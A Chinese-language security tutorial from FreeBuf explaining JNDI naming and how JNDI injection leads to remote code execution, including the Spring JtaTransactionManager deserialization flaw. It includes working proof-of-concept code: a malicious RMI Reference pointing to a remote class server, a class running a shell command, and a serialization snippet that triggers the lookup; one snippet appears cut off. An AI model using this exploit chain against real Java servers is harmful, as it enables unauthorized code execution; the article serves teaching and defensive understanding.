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Jndi注入及Spring RCE漏洞分析

* 本文原创作者:碳烤鱿鱼丝,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

由于之前一直在外出差,好久没有做研究了,十一期间重新关注了2016 BlackHat上面的议题,其中jndi注入引起了我的关注,本文主要分为以下3个部分,理解jndi、    分析jndi注入问题,以及Srping RCE漏洞形成的原因。本文属于基础文档,大牛绕过勿喷~ 

文章目录

理解jndi

jndi注入产生的原因

Spring RCE与Jndi注入之间的关系

demo

2016BlackHat中的jndi议题原文在: BlackHat

英文好的同学可以去阅读原文。

理解JNDI

Jndi 全称是:Java Naming and Directory Interface,叫做Java命名和目录接口、SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图:

Jndi注入及Spring RCE漏洞分析

Java Naming:

命名服务是一种键值对的绑定,是应用程序可以通过键检索值

Java Directory:

目录服务是命名服务的自然扩展。两者之间的关键差别是目录服务中对象可以有属性(例如,用户有email地址),而命名服务中对象没有属性。因此,在目录服务中,你可以根据属性搜索对象。JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问象LDAP这样的目录服务,定位网络上的EJB组件

如图所示的层级结果,通俗理解jndi就是,一组api接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索制定的对象(object),对象可能存储在rmi,ldap,CORBA等等。在jndi中提供了绑定和查找的方法,jndi将name和object绑定在了一起,在这基础上提供了lookup,search功能

1、void bind( String name , Object object ) //将名称绑定到对象

2、Object lookup( String name ) //通过名字检索执行的对象

下面写一个jdni的demo帮助理解:

我们定义一个Person类

    import java.io.Serializable;  
    import java.rmi.Remote;  
    public class Person implements Remote,Serializable {  
    private static final long serialVersionUID = 1L;  
    private String name;  
    private String password;  
    public String getName() {  
        return name;  
    }  
    public void setName(String name) {  
        this.name = name;  
    }  
    public String getPassword() {  
        return password;  
    }  
    public void setPassword(String password) {  
        this.password = password;  
    }  
    public String toString(){  
        return "name:"+name+" password:"+password;  
    }  
    }  

这里服务端以rmi为例,

    package com.jndi.demo;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    import javax.naming.spi.NamingManager;
    public class Test {
    public static void initPerson() throws Exception{
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
        LocateRegistry.createRegistry(3001);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");
        ////初始化
        InitialContext ctx = new InitialContext();
        
        //实例化person对象
        Person p = new Person();
        p.setName("hello");
        p.setPassword("jndi");
        
        //person对象绑定到JNDI服务中,JNDI的名字叫做:person。
        ctx.bind("person", p);
        ctx.close();
    }
    
    public static void findPerson() throws Exception{
        //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了
        InitialContext ctx = new InitialContext();
        //通过lookup查找person对象
        Person person = (Person) ctx.lookup("person");
        //打印出这个对象
        System.out.println(person.toString());
        ctx.close();
    }
    
    public static void main(String[] args) throws Exception {
        initPerson();
        findPerson();
    }
    }

运行结果如图:

Jndi注入及Spring RCE漏洞分析

使用debug更直观的描述整个流程:

Jndi注入及Spring RCE漏洞分析

Jndi注入及Spring RCE漏洞分析

从上图可以清楚的看到,在initPerson方法中,注册了rmi服务并绑定了端口,给p对象命名为person,在findPerson方法中查找被命名为person的对象,然后通过。最终输出了hello jndi。

Jndi Naming Reference:

java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,就可以理解jndi注入产生的原因了。

Jndi注入产生的原因

Applications should not perform JNDI lookups with untrusted data

jndi注入产生的原因可以归结到以下4点

1、lookup参数可控。

2、InitialContext类及他的子类的lookup方法允许动态协议转换

3、lookup查找的对象是Reference类型及其子类

4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

我们跟进lookup函数:

    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

继续跟进getURLOrDefaultInitCtx函数,

Jndi注入及Spring RCE漏洞分析

发现getURLOrDefaultInitCtx会返回两种情况,

第一种getDefaultInit(),

第二种是getUrlContext(scheme,myPorps)。

这说明即使 Context.PROVIDER_URL参数被初为rmi://127.0.0.1:1099/foo,但是如果lookup的参数可控,那我们就可以重写url地址,使url地址指向我们的服务器。例如:

  // Create the initial context
    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY,
     "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL, "rmi://secure-server:1099");
    Context ctx = new InitialContext(env);
    // Look up in the local RMI registry
    Object local_obj = ctx.lookup(

  
   
 );

  

就可以实现远程加载恶意的对象,实现远程代码执行。

我们发现存在3种方法,可以通过jndi注入导致远程代码执行:

rmi、通过jndi reference远程调用object方法。

CORBA IOR 远程获取实现类

LDAP 通过序列化对象,JNDI Referene,ldap地址

demo2 jndi注入例子:

Server端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;

import java.rmi.registry.Registry;

import java.rmi.registry.LocateRegistry;

public class SERVER {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);

Reference aa = new Reference("ExecObj", "ExecObj", " http://127.0.0.1:8081/ ");

ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);

System.out.println("Binding ‘refObjWrapper’ to ‘rmi://127.0.0.1:1099/aa’");

registry.bind("aa", refObjWrapper);

}

}

Client端:

import javax.naming.Context;
    import javax.naming.InitialContext;
    public class CLIENT {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
    }

ExecObj:

  package com.jndi.cn;
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.Reader;
    import javax.print.attribute.standard.PrinterMessageFromOperator;
    public class ExecTest {
    public static void main(String[] args) throws IOException,InterruptedException{
        String cmd="whoami";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }
    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
        
    }
    }

首先javac ExecObj、将生成的class文件放在web服务器目录下。然后依次执行server端,client端

运行结果如图:

Jndi注入及Spring RCE漏洞分析

Jndi注入及Spring RCE漏洞分析

Spring RCE

Spring RCE形成的主要原因是 Spring框架的spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager 存在一个readObject方法。当执行对象反序列化的时候,会执行lookup操作,导致了jndi注入,可以导致远程代码执行问题,具体原因在这里不分析了,在iswin师傅的博文里有详细的分析。

Jndi注入及Spring RCE漏洞分析

Jndi注入及Spring RCE漏洞分析

到这里漏洞的成因就比较清晰了,这里的userTransactionName变量我们可以控制,通过setter方法可以初始化该变量,这里userTransactionName可以是rmi的调用地址(例如,userTransactionName=”rmi://127.0.0.1:1999/Object”),只要控制userTransactionName变量,就可以触发JNDI的RCE,继续跟进lookupUserTransaction方法

Jndi注入及Spring RCE漏洞分析

导致jndi的RCE导致了Spring Framework反序列化的产生

关键代码:

String jndiAddress = "rmi://127.0.0.1:1999/Object";
    JtaTransactionManager object = new JtaTransactionManager();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
    objectOutputStream.writeObject(object);
    objectOutputStream.flush();

当我们把这段序列化的对象发送给服务端的时候,就会触发jndi rce漏洞。

Jndi注入及Spring RCE漏洞分析

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